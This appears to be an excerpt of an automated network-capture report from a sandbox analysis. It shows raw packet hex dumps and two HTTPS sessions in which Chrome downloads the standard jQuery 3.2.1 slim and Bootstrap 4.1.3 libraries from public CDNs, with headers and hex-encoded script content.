Aug 28, 2024 15:08:19.428374052 CEST	1236	IN	Data Raw: 93 65 3b 51 e6 62 d8 36 3b af 01 c3 8c 08 91 d8 c0 6c b7 ac 8f 21 95 14 57 5b c8 d4 30 48 c0 e0 b3 19 8a e6 b4 aa ca 6f 69 1e 65 dc 0f 7d 1e 04 c4 18 76 d6 ab 8d 09 50 8f 48 68 db 43 61 6c 49 88 81 f8 6c db f9 9d cd f7 c5 a1 0c f9 77 79 c4 1f eb Data Ascii: e;Qb6;l!W[0Hoie}vPHhCalIlwy9aQHv-$<eirl*D;[v=<C8-bjoUc4PRi0Kc6L6?88&jJNHd6CI'A`2q"#jK^i:m6!
Aug 28, 2024 15:08:19.428442955 CEST	1236	IN	Data Raw: e9 32 99 8b 9d cb c5 90 b7 74 6f bd bf 39 b7 98 a2 99 f8 61 c8 5d b8 5f d8 91 28 bd 1c 5b a0 73 13 1b b6 46 03 dd b2 01 1f 60 bc 6e 88 4f 03 9c 12 9f 05 52 ab 58 d7 93 18 19 00 98 b4 9d f6 96 2e 17 2f f1 58 07 45 61 c1 27 b5 65 95 5a 60 15 12 ba Data Ascii: 2to9a]_([sF`nORX./XEa'eZ`u~6C.+sf.cG!$Eio*rr'LcV,2d1P)[F"=['9dWm0Tw76Z4GUKhqKlQ'M7'rB
Aug 28, 2024 15:08:19.428456068 CEST	1236	IN	Data Raw: 8d a4 69 b7 7e 1a 3b 05 f1 13 ef ce 20 f6 ee dd 5c cc 3c 3c 07 38 b1 ed 3d 3a de 92 3b ff 10 d4 b5 23 7e c0 33 e9 86 dc fa 34 00 63 8f 9c dc 08 c4 46 c8 83 6d df f8 cb 00 6f 7b 09 cf 03 9c 09 36 f6 ce 30 8c f1 f3 a0 1d ed 74 9a db 76 66 db 62 d4 Data Ascii: i~; \<<8=:;#~34cFmo{60tvfbulIN9`mO[@"<^xY~aLu^tLv.>:]r26@X)RQUtMM3Bn{^Id`qI]$k
Aug 28, 2024 15:08:19.428467035 CEST	104	IN	Data Raw: dc 14 03 40 26 a7 15 8f d4 6c db 54 d5 d1 9e e9 f6 55 d3 e7 3b 25 24 f6 94 0c 84 49 ec 6c e4 29 9d 6d 6f 5a 99 77 e3 2f 03 53 0f 2e 64 60 b2 f1 9f 43 3f e1 9c ee 06 43 da 69 5f 0c 93 d7 aa 67 5f da 89 59 bd b9 68 95 4e 23 36 cd 10 88 c9 e7 81 ca Data Ascii: @&lTU;%$Il)moZw/S.d`C?Ci_g_YhN#68B]*HH`Jv^q-
Aug 28, 2024 15:08:19.428478003 CEST	1236	IN	Data Raw: a5 03 3f 0a 70 68 68 ef db 7a ee 99 a9 e4 d1 75 09 31 c8 0f f0 86 2c 70 da 81 e2 0d 91 ce cc ac 8d 6b e2 c4 84 2a 31 48 e0 8a d0 89 a1 1e f1 9e e8 b3 15 7c 03 e6 04 d2 7b c2 08 1c d2 76 e1 c1 e8 82 21 2e 45 b6 3d 11 c2 9a 6d 3b 11 79 60 4e 84 10 Data Ascii: ?phhzu1,pk*1H\|{v!.E=m;y`N=24(>[Xv$sX][t6&p7 Il-P=.IvbE]G7q"C2g79%,&V\|%7}@eFn[@w)C -DSWn
Aug 28, 2024 15:08:19.433137894 CEST	1236	IN	Data Raw: 34 8f 0e 0d 14 63 57 e0 02 60 0c a6 6f 60 0e 3b c1 82 10 7d d6 27 c6 2d b3 b6 03 57 25 cf 8d b3 ae 95 62 6e 72 5e 31 d7 cd 85 76 3d 03 c3 a4 73 0b a7 82 70 0d ba d5 99 a5 ab 9e 7d 8f 47 63 17 ac 4e 56 c0 67 01 68 6a bd c1 8c bb 4e 74 d6 86 2e 32 Data Ascii: 4cW`o`;}'-W%bnr^1v=sp}GcNVghjNt.2l"5E< b$Ug=\|d]jrEHe5tCpO}I%q@V#X't#tz8/ z}Z/k?sUxN/kUyR]`D0_Gd2N

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49712	151.101.2.137	443	4084	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 13:08:19 UTC	514	OUT	GET /jquery-3.2.1.slim.min.js HTTP/1.1 Host: code.jquery.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Origin: null sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 13:08:19 UTC	611	IN	HTTP/1.1 200 OK Connection: close Content-Length: 69597 Server: nginx Content-Type: application/javascript; charset=utf-8 Last-Modified: Fri, 18 Oct 1991 12:00:00 GMT ETag: "28feccc0-10fdd" Cache-Control: public, max-age=31536000, stale-while-revalidate=604800 Access-Control-Allow-Origin: * Cross-Origin-Resource-Policy: cross-origin Via: 1.1 varnish, 1.1 varnish Accept-Ranges: bytes Age: 1185461 Date: Wed, 28 Aug 2024 13:08:19 GMT X-Served-By: cache-lga21984-LGA, cache-ewr-kewr1740034-EWR X-Cache: HIT, HIT X-Cache-Hits: 18, 0 X-Timer: S1724850499.489403,VS0,VE1 Vary: Accept-Encoding
2024-08-28 13:08:19 UTC	16384	IN	Data Raw: 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 32 2e 31 20 2d 61 6a 61 78 2c 2d 61 6a 61 78 2f 6a 73 6f 6e 70 2c 2d 61 6a 61 78 2f 6c 6f 61 64 2c 2d 61 6a 61 78 2f 70 61 72 73 65 58 4d 4c 2c 2d 61 6a 61 78 2f 73 63 72 69 70 74 2c 2d 61 6a 61 78 2f 76 61 72 2f 6c 6f 63 61 74 69 6f 6e 2c 2d 61 6a 61 78 2f 76 61 72 2f 6e 6f 6e 63 65 2c 2d 61 6a 61 78 2f 76 61 72 2f 72 71 75 65 72 79 2c 2d 61 6a 61 78 2f 78 68 72 2c 2d 6d 61 6e 69 70 75 6c 61 74 69 6f 6e 2f 5f 65 76 61 6c 55 72 6c 2c 2d 65 76 65 6e 74 2f 61 6a 61 78 2c 2d 65 66 66 65 63 74 73 2c 2d 65 66 66 65 63 74 73 2f 54 77 65 65 6e 2c 2d 65 66 66 65 63 74 73 2f 61 6e 69 6d 61 74 65 64 53 65 6c 65 63 74 6f 72 20 7c 20 28 63 29 20 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e Data Ascii: /*! jQuery v3.2.1 -ajax,-ajax/jsonp,-ajax/load,-ajax/parseXML,-ajax/script,-ajax/var/location,-ajax/var/nonce,-ajax/var/rquery,-ajax/xhr,-manipulation/_evalUrl,-event/ajax,-effects,-effects/Tween,-effects/animatedSelector \| (c) JS Foundation and other con
2024-08-28 13:08:19 UTC	16384	IN	Data Raw: 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 26 26 6a 5b 32 5d 2c 6d 3d 6e 26 26 71 2e 63 68 69 6c 64 4e 6f 64 65 73 5b 6e 5d 3b 77 68 69 6c 65 28 6d 3d 2b 2b 6e 26 26 6d 26 26 6d 5b 70 5d 7c 7c 28 74 3d 6e 3d 30 29 7c 7c 6f 2e 70 6f 70 28 29 29 69 66 28 31 3d 3d 3d 6d 2e 6e 6f 64 65 54 79 70 65 26 26 2b 2b 74 26 26 6d 3d 3d 3d 62 29 7b 6b 5b 61 5d 3d 5b 77 2c 6e 2c 74 5d 3b 62 72 65 61 6b 7d 7d 65 6c 73 65 20 69 66 28 73 26 26 28 6d 3d 62 2c 6c 3d 6d 5b 75 5d 7c 7c 28 6d 5b 75 5d 3d 7b 7d 29 2c 6b 3d 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 7c 7c 28 6c 5b 6d 2e 75 6e 69 71 75 65 49 44 5d 3d 7b 7d 29 2c 6a 3d 6b 5b 61 5d 7c 7c 5b 5d 2c 6e 3d 6a 5b 30 5d 3d 3d 3d 77 26 26 6a 5b 31 5d 2c 74 3d 6e 29 2c 74 3d 3d 3d 21 31 29 77 68 69 Data Ascii: \|[],n=j[0]===w&&j[1],t=n&&j[2],m=n&&q.childNodes[n];while(m=++n&&m&&m[p]\|\|(t=n=0)\|\|o.pop())if(1===m.nodeType&&++t&&m===b){k[a]=[w,n,t];break}}else if(s&&(m=b,l=m[u]\|\|(m[u]={}),k=l[m.uniqueID]\|\|(l[m.uniqueID]={}),j=k[a]\|\|[],n=j[0]===w&&j[1],t=n),t===!1)whi
2024-08-28 13:08:19 UTC	16384	IN	Data Raw: 65 2c 66 2c 67 29 7b 76 61 72 20 68 3d 30 2c 69 3d 61 2e 6c 65 6e 67 74 68 2c 6a 3d 6e 75 6c 6c 3d 3d 63 3b 69 66 28 22 6f 62 6a 65 63 74 22 3d 3d 3d 72 2e 74 79 70 65 28 63 29 29 7b 65 3d 21 30 3b 66 6f 72 28 68 20 69 6e 20 63 29 54 28 61 2c 62 2c 68 2c 63 5b 68 5d 2c 21 30 2c 66 2c 67 29 7d 65 6c 73 65 20 69 66 28 76 6f 69 64 20 30 21 3d 3d 64 26 26 28 65 3d 21 30 2c 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 64 29 7c 7c 28 67 3d 21 30 29 2c 6a 26 26 28 67 3f 28 62 2e 63 61 6c 6c 28 61 2c 64 29 2c 62 3d 6e 75 6c 6c 29 3a 28 6a 3d 62 2c 62 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 2c 63 29 7b 72 65 74 75 72 6e 20 6a 2e 63 61 6c 6c 28 72 28 61 29 2c 63 29 7d 29 29 2c 62 29 29 66 6f 72 28 3b 68 3c 69 3b 68 2b 2b 29 62 28 61 5b 68 5d 2c 63 2c 67 3f 64 3a 64 2e 63 Data Ascii: e,f,g){var h=0,i=a.length,j=null==c;if("object"===r.type(c)){e=!0;for(h in c)T(a,b,h,c[h],!0,f,g)}else if(void 0!==d&&(e=!0,r.isFunction(d)\|\|(g=!0),j&&(g?(b.call(a,d),b=null):(j=b,b=function(a,b,c){return j.call(r(a),c)})),b))for(;h<i;h++)b(a[h],c,g?d:d.c
2024-08-28 13:08:19 UTC	16384	IN	Data Raw: 6f 5d 29 7b 69 66 28 62 2e 65 76 65 6e 74 73 29 66 6f 72 28 64 20 69 6e 20 62 2e 65 76 65 6e 74 73 29 65 5b 64 5d 3f 72 2e 65 76 65 6e 74 2e 72 65 6d 6f 76 65 28 63 2c 64 29 3a 72 2e 72 65 6d 6f 76 65 45 76 65 6e 74 28 63 2c 64 2c 62 2e 68 61 6e 64 6c 65 29 3b 63 5b 57 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 7d 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 26 26 28 63 5b 58 2e 65 78 70 61 6e 64 6f 5d 3d 76 6f 69 64 20 30 29 7d 7d 7d 29 2c 72 2e 66 6e 2e 65 78 74 65 6e 64 28 7b 64 65 74 61 63 68 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 2c 21 30 29 7d 2c 72 65 6d 6f 76 65 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 4b 61 28 74 68 69 73 2c 61 29 7d 2c 74 65 78 74 3a 66 75 6e 63 74 69 6f 6e 28 61 29 Data Ascii: o]){if(b.events)for(d in b.events)e[d]?r.event.remove(c,d):r.removeEvent(c,d,b.handle);c[W.expando]=void 0}c[X.expando]&&(c[X.expando]=void 0)}}}),r.fn.extend({detach:function(a){return Ka(this,a,!0)},remove:function(a){return Ka(this,a)},text:function(a)
2024-08-28 13:08:19 UTC	4061	IN	Data Raw: 46 75 6e 63 74 69 6f 6e 28 61 29 3f 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 62 29 7b 72 28 74 68 69 73 29 2e 77 72 61 70 49 6e 6e 65 72 28 61 2e 63 61 6c 6c 28 74 68 69 73 2c 62 29 29 7d 29 3a 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 62 3d 72 28 74 68 69 73 29 2c 63 3d 62 2e 63 6f 6e 74 65 6e 74 73 28 29 3b 63 2e 6c 65 6e 67 74 68 3f 63 2e 77 72 61 70 41 6c 6c 28 61 29 3a 62 2e 61 70 70 65 6e 64 28 61 29 7d 29 7d 2c 77 72 61 70 3a 66 75 6e 63 74 69 6f 6e 28 61 29 7b 76 61 72 20 62 3d 72 2e 69 73 46 75 6e 63 74 69 6f 6e 28 61 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 61 63 68 28 66 75 6e 63 74 69 6f 6e 28 63 29 7b 72 28 74 68 69 73 29 2e 77 72 61 70 41 6c 6c 28 62 3f 61 2e 63 61 6c 6c 28 74 68 69 73 2c Data Ascii: Function(a)?this.each(function(b){r(this).wrapInner(a.call(this,b))}):this.each(function(){var b=r(this),c=b.contents();c.length?c.wrapAll(a):b.append(a)})},wrap:function(a){var b=r.isFunction(a);return this.each(function(c){r(this).wrapAll(b?a.call(this,

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.5	49713	104.18.10.207	443	4084	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-08-28 13:08:19 UTC	525	OUT	GET /bootstrap/4.1.3/js/bootstrap.min.js HTTP/1.1 Host: stackpath.bootstrapcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-08-28 13:08:19 UTC	948	IN	HTTP/1.1 200 OK Date: Wed, 28 Aug 2024 13:08:19 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Vary: Accept-Encoding CDN-PullZone: 252412 CDN-Uid: b1941f61-b576-4f40-80de-5677acb38f74 CDN-RequestCountryCode: DE Access-Control-Allow-Origin: * Cache-Control: public, max-age=31919000 ETag: W/"67176c242e1bdc20603c878dee836df3" Last-Modified: Mon, 25 Jan 2021 22:04:06 GMT CDN-CachedAt: 10/31/2023 18:58:40 CDN-ProxyVer: 1.04 CDN-RequestPullCode: 200 CDN-RequestPullSuccess: True CDN-EdgeStorageId: 1048 timing-allow-origin: * cross-origin-resource-policy: cross-origin X-Content-Type-Options: nosniff CDN-Status: 200 CDN-RequestId: f4f838df79fc133911a060d7c6bb0f5c CDN-Cache: HIT CF-Cache-Status: HIT Age: 14492828 Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Server: cloudflare CF-RAY: 8ba487860a4b32fc-EWR alt-svc: h3=":443"; ma=86400
2024-08-28 13:08:19 UTC	421	IN	Data Raw: 37 62 66 66 0d 0a 2f 2a 21 0a 20 20 2a 20 42 6f 6f 74 73 74 72 61 70 20 76 34 2e 31 2e 33 20 28 68 74 74 70 73 3a 2f 2f 67 65 74 62 6f 6f 74 73 74 72 61 70 2e 63 6f 6d 2f 29 0a 20 20 2a 20 43 6f 70 79 72 69 67 68 74 20 32 30 31 31 2d 32 30 31 38 20 54 68 65 20 42 6f 6f 74 73 74 72 61 70 20 41 75 74 68 6f 72 73 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 67 72 61 70 68 73 2f 63 6f 6e 74 72 69 62 75 74 6f 72 73 29 0a 20 20 2a 20 4c 69 63 65 6e 73 65 64 20 75 6e 64 65 72 20 4d 49 54 20 28 68 74 74 70 73 3a 2f 2f 67 69 74 68 75 62 2e 63 6f 6d 2f 74 77 62 73 2f 62 6f 6f 74 73 74 72 61 70 2f 62 6c 6f 62 2f 6d 61 73 74 65 72 2f 4c 49 43 45 4e 53 45 29 0a 20 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 Data Ascii: 7bff/! Bootstrap v4.1.3 (https://getbootstrap.com/) * Copyright 2011-2018 The Bootstrap Authors (https://github.com/twbs/bootstrap/graphs/contributors) * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE) */!function(
2024-08-28 13:08:19 UTC	1369	IN	Data Raw: 71 75 65 72 79 22 2c 22 70 6f 70 70 65 72 2e 6a 73 22 5d 2c 65 29 3a 65 28 74 2e 62 6f 6f 74 73 74 72 61 70 3d 7b 7d 2c 74 2e 6a 51 75 65 72 79 2c 74 2e 50 6f 70 70 65 72 29 7d 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 74 2c 65 2c 68 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 66 75 6e 63 74 69 6f 6e 20 69 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6e 3d 30 3b 6e 3c 65 2e 6c 65 6e 67 74 68 3b 6e 2b 2b 29 7b 76 61 72 20 69 3d 65 5b 6e 5d 3b 69 2e 65 6e 75 6d 65 72 61 62 6c 65 3d 69 2e 65 6e 75 6d 65 72 61 62 6c 65 7c 7c 21 31 2c 69 2e 63 6f 6e 66 69 67 75 72 61 62 6c 65 3d 21 30 2c 22 76 61 6c 75 65 22 69 6e 20 69 26 26 28 69 2e 77 72 69 74 61 62 6c 65 3d 21 30 29 2c 4f 62 6a 65 63 74 2e 64 65 66 69 6e 65 50 72 6f 70 65 72 74 79 28 74 2c 69 2e 6b 65 79 Data Ascii: query","popper.js"],e):e(t.bootstrap={},t.jQuery,t.Popper)}(this,function(t,e,h){"use strict";function i(t,e){for(var n=0;n<e.length;n++){var i=e[n];i.enumerable=i.enumerable\|\|!1,i.configurable=!0,"value"in i&&(i.writable=!0),Object.defineProperty(t,i.key
2024-08-28 13:08:19 UTC	1369	IN	Data Raw: 2c 57 6e 2c 55 6e 2c 71 6e 2c 46 6e 3d 66 75 6e 63 74 69 6f 6e 28 69 29 7b 76 61 72 20 65 3d 22 74 72 61 6e 73 69 74 69 6f 6e 65 6e 64 22 3b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 76 61 72 20 65 3d 74 68 69 73 2c 6e 3d 21 31 3b 72 65 74 75 72 6e 20 69 28 74 68 69 73 29 2e 6f 6e 65 28 6c 2e 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 3d 21 30 7d 29 2c 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6e 7c 7c 6c 2e 74 72 69 67 67 65 72 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 28 65 29 7d 2c 74 29 2c 74 68 69 73 7d 76 61 72 20 6c 3d 7b 54 52 41 4e 53 49 54 49 4f 4e 5f 45 4e 44 3a 22 62 73 54 72 61 6e 73 69 74 69 6f 6e 45 6e 64 22 2c 67 65 74 55 49 44 3a 66 75 6e 63 74 69 6f 6e 28 74 29 7b 66 6f 72 28 3b Data Ascii: ,Wn,Un,qn,Fn=function(i){var e="transitionend";function t(t){var e=this,n=!1;return i(this).one(l.TRANSITION_END,function(){n=!0}),setTimeout(function(){n\|\|l.triggerTransitionEnd(e)},t),this}var l={TRANSITION_END:"bsTransitionEnd",getUID:function(t){for(;
2024-08-28 13:08:19 UTC	1369	IN	Data Raw: 61 72 67 75 6d 65 6e 74 73 29 7d 7d 2c 6c 7d 28 65 29 2c 4b 6e 3d 28 6e 3d 22 61 6c 65 72 74 22 2c 61 3d 22 2e 22 2b 28 6f 3d 22 62 73 2e 61 6c 65 72 74 22 29 2c 63 3d 28 72 3d 65 29 2e 66 6e 5b 6e 5d 2c 75 3d 7b 43 4c 4f 53 45 3a 22 63 6c 6f 73 65 22 2b 61 2c 43 4c 4f 53 45 44 3a 22 63 6c 6f 73 65 64 22 2b 61 2c 43 4c 49 43 4b 5f 44 41 54 41 5f 41 50 49 3a 22 63 6c 69 63 6b 22 2b 61 2b 22 2e 64 61 74 61 2d 61 70 69 22 7d 2c 66 3d 22 61 6c 65 72 74 22 2c 64 3d 22 66 61 64 65 22 2c 67 3d 22 73 68 6f 77 22 2c 5f 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 69 28 74 29 7b 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 3d 74 7d 76 61 72 20 74 3d 69 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 63 6c 6f 73 65 3d 66 75 6e 63 74 69 6f 6e Data Ascii: arguments)}},l}(e),Kn=(n="alert",a="."+(o="bs.alert"),c=(r=e).fn[n],u={CLOSE:"close"+a,CLOSED:"closed"+a,CLICK_DATA_API:"click"+a+".data-api"},f="alert",d="fade",g="show",_=function(){function i(t){this._element=t}var t=i.prototype;return t.close=function
2024-08-28 13:08:19 UTC	1369	IN	Data Raw: 65 77 20 5f 29 29 2c 72 2e 66 6e 5b 6e 5d 3d 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 72 2e 66 6e 5b 6e 5d 2e 43 6f 6e 73 74 72 75 63 74 6f 72 3d 5f 2c 72 2e 66 6e 5b 6e 5d 2e 6e 6f 43 6f 6e 66 6c 69 63 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 72 2e 66 6e 5b 6e 5d 3d 63 2c 5f 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 7d 2c 5f 29 2c 4d 6e 3d 28 70 3d 22 62 75 74 74 6f 6e 22 2c 79 3d 22 2e 22 2b 28 76 3d 22 62 73 2e 62 75 74 74 6f 6e 22 29 2c 45 3d 22 2e 64 61 74 61 2d 61 70 69 22 2c 43 3d 28 6d 3d 65 29 2e 66 6e 5b 70 5d 2c 54 3d 22 61 63 74 69 76 65 22 2c 62 3d 22 62 74 6e 22 2c 49 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 5e 3d 22 62 75 74 74 6f 6e 22 5d 27 2c 41 3d 27 5b 64 61 74 61 2d 74 6f 67 67 6c 65 3d 22 Data Ascii: ew _)),r.fn[n]=_._jQueryInterface,r.fn[n].Constructor=_,r.fn[n].noConflict=function(){return r.fn[n]=c,_._jQueryInterface},_),Mn=(p="button",y="."+(v="bs.button"),E=".data-api",C=(m=e).fn[p],T="active",b="btn",I='[data-toggle^="button"]',A='[data-toggle="
2024-08-28 13:08:19 UTC	1369	IN	Data Raw: 74 28 29 3b 76 61 72 20 65 3d 74 2e 74 61 72 67 65 74 3b 6d 28 65 29 2e 68 61 73 43 6c 61 73 73 28 62 29 7c 7c 28 65 3d 6d 28 65 29 2e 63 6c 6f 73 65 73 74 28 4e 29 29 2c 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2e 63 61 6c 6c 28 6d 28 65 29 2c 22 74 6f 67 67 6c 65 22 29 7d 29 2e 6f 6e 28 4f 2e 46 4f 43 55 53 5f 42 4c 55 52 5f 44 41 54 41 5f 41 50 49 2c 49 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 76 61 72 20 65 3d 6d 28 74 2e 74 61 72 67 65 74 29 2e 63 6c 6f 73 65 73 74 28 4e 29 5b 30 5d 3b 6d 28 65 29 2e 74 6f 67 67 6c 65 43 6c 61 73 73 28 53 2c 2f 5e 66 6f 63 75 73 28 69 6e 29 3f 24 2f 2e 74 65 73 74 28 74 2e 74 79 70 65 29 29 7d 29 2c 6d 2e 66 6e 5b 70 5d 3d 6b 2e 5f 6a 51 75 65 72 79 49 6e 74 65 72 66 61 63 65 2c 6d 2e 66 6e 5b 70 5d 2e 43 Data Ascii: t();var e=t.target;m(e).hasClass(b)\|\|(e=m(e).closest(N)),k._jQueryInterface.call(m(e),"toggle")}).on(O.FOCUS_BLUR_DATA_API,I,function(t){var e=m(t.target).closest(N)[0];m(e).toggleClass(S,/^focus(in)?$/.test(t.type))}),m.fn[p]=k._jQueryInterface,m.fn[p].C
2024-08-28 13:08:19 UTC	1369	IN	Data Raw: 53 65 6c 65 63 74 6f 72 28 6e 74 29 2c 74 68 69 73 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 28 29 7d 76 61 72 20 74 3d 6f 2e 70 72 6f 74 6f 74 79 70 65 3b 72 65 74 75 72 6e 20 74 2e 6e 65 78 74 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 2e 5f 69 73 53 6c 69 64 69 6e 67 7c 7c 74 68 69 73 2e 5f 73 6c 69 64 65 28 71 29 7d 2c 74 2e 6e 65 78 74 57 68 65 6e 56 69 73 69 62 6c 65 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 21 64 6f 63 75 6d 65 6e 74 2e 68 69 64 64 65 6e 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 69 73 28 22 3a 76 69 73 69 62 6c 65 22 29 26 26 22 68 69 64 64 65 6e 22 21 3d 3d 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 63 73 73 28 22 76 69 73 69 62 69 6c 69 74 79 22 29 26 26 74 68 69 73 2e 6e 65 78 74 28 29 7d 2c Data Ascii: Selector(nt),this._addEventListeners()}var t=o.prototype;return t.next=function(){this._isSliding\|\|this._slide(q)},t.nextWhenVisible=function(){!document.hidden&&P(this._element).is(":visible")&&"hidden"!==P(this._element).css("visibility")&&this.next()},
2024-08-28 13:08:19 UTC	1369	IN	Data Raw: 6e 20 74 3d 6c 28 7b 7d 2c 57 2c 74 29 2c 46 6e 2e 74 79 70 65 43 68 65 63 6b 43 6f 6e 66 69 67 28 6a 2c 74 2c 55 29 2c 74 7d 2c 74 2e 5f 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 73 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3d 74 68 69 73 3b 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 6b 65 79 62 6f 61 72 64 26 26 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4b 45 59 44 4f 57 4e 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 6e 20 65 2e 5f 6b 65 79 64 6f 77 6e 28 74 29 7d 29 2c 22 68 6f 76 65 72 22 3d 3d 3d 74 68 69 73 2e 5f 63 6f 6e 66 69 67 2e 70 61 75 73 65 26 26 28 50 28 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 29 2e 6f 6e 28 51 2e 4d 4f 55 53 45 45 4e 54 45 52 2c 66 75 6e 63 74 69 6f 6e 28 74 29 7b 72 65 74 75 72 Data Ascii: n t=l({},W,t),Fn.typeCheckConfig(j,t,U),t},t._addEventListeners=function(){var e=this;this._config.keyboard&&P(this._element).on(Q.KEYDOWN,function(t){return e._keydown(t)}),"hover"===this._config.pause&&(P(this._element).on(Q.MOUSEENTER,function(t){retur
2024-08-28 13:08:19 UTC	1369	IN	Data Raw: 69 66 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 29 7b 76 61 72 20 65 3d 5b 5d 2e 73 6c 69 63 65 2e 63 61 6c 6c 28 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 24 29 29 3b 50 28 65 29 2e 72 65 6d 6f 76 65 43 6c 61 73 73 28 56 29 3b 76 61 72 20 6e 3d 74 68 69 73 2e 5f 69 6e 64 69 63 61 74 6f 72 73 45 6c 65 6d 65 6e 74 2e 63 68 69 6c 64 72 65 6e 5b 74 68 69 73 2e 5f 67 65 74 49 74 65 6d 49 6e 64 65 78 28 74 29 5d 3b 6e 26 26 50 28 6e 29 2e 61 64 64 43 6c 61 73 73 28 56 29 7d 7d 2c 74 2e 5f 73 6c 69 64 65 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6e 2c 69 2c 72 2c 6f 3d 74 68 69 73 2c 73 3d 74 68 69 73 2e 5f 65 6c 65 6d 65 6e 74 2e 71 75 Data Ascii: if(this._indicatorsElement){var e=[].slice.call(this._indicatorsElement.querySelectorAll($));P(e).removeClass(V);var n=this._indicatorsElement.children[this._getItemIndex(t)];n&&P(n).addClass(V)}},t._slide=function(t,e){var n,i,r,o=this,s=this._element.qu
